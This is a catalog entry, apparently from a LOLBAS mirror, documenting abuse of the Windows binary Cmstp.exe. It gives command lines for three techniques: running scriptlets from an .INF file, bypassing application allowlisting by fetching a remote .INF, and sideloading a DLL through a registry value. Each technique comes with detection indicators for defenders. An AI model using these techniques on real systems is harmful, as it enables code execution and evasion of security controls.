CatalogLOLBAS

LOL · Binary

Cmstp.exe

3 techniquesWindowsLOLBASGPL-3.0

Execute

ExecutionWindows

Silently installs a specially formatted local .INF without creating a desktop icon. The .INF file contains a UnRegisterOCXSection section which executes a .SCT file using scrobj.dll.

Use Execute code hidden within an inf file. Download and run scriptlets from internet.

cmstp.exe /ni /s {PATH_ABSOLUTE:.inf}
Evidence
Upstream reference
Environment
Local host
Context
user
Native
Execute
Detection
IOC: Execution of cmstp.exe without a VPN use case is suspicious
IOC: DotNet CLR libraries loaded into cmstp.exe
IOC: DotNet CLR Usage Log - cmstp.exe.log
IOC: Registry modification to HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\cmmgr32.exe\CmstpExtensionDll

AWL Bypass

AWL / Policy BypassWindows

Silently installs a specially formatted remote .INF without creating a desktop icon. The .INF file contains a UnRegisterOCXSection section which executes a .SCT file using scrobj.dll.

Use Execute code hidden within an inf file. Execute code directly from Internet.

cmstp.exe /ni /s {REMOTEURL:.inf}
Evidence
Upstream reference
Environment
Local host
Context
user
Native
AWL Bypass
Detection
IOC: Execution of cmstp.exe without a VPN use case is suspicious
IOC: DotNet CLR libraries loaded into cmstp.exe
IOC: DotNet CLR Usage Log - cmstp.exe.log
IOC: Registry modification to HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\cmmgr32.exe\CmstpExtensionDll

Execute

ExecutionWindows

cmstp.exe reads the `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\cmmgr32.exe\CmstpExtensionDll` registry value and passes its data directly to `LoadLibrary`. By modifying this registry key and setting it to an attack-controlled DLL, this will sideload the DLL via `cmstp.exe`.

Use Proxy execution of a malicious DLL via registry modification.

cmstp.exe /nf
Evidence
Upstream reference
Environment
Local host
Context
admin
Native
Execute
Detection
IOC: Execution of cmstp.exe without a VPN use case is suspicious
IOC: DotNet CLR libraries loaded into cmstp.exe
IOC: DotNet CLR Usage Log - cmstp.exe.log
IOC: Registry modification to HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\cmmgr32.exe\CmstpExtensionDll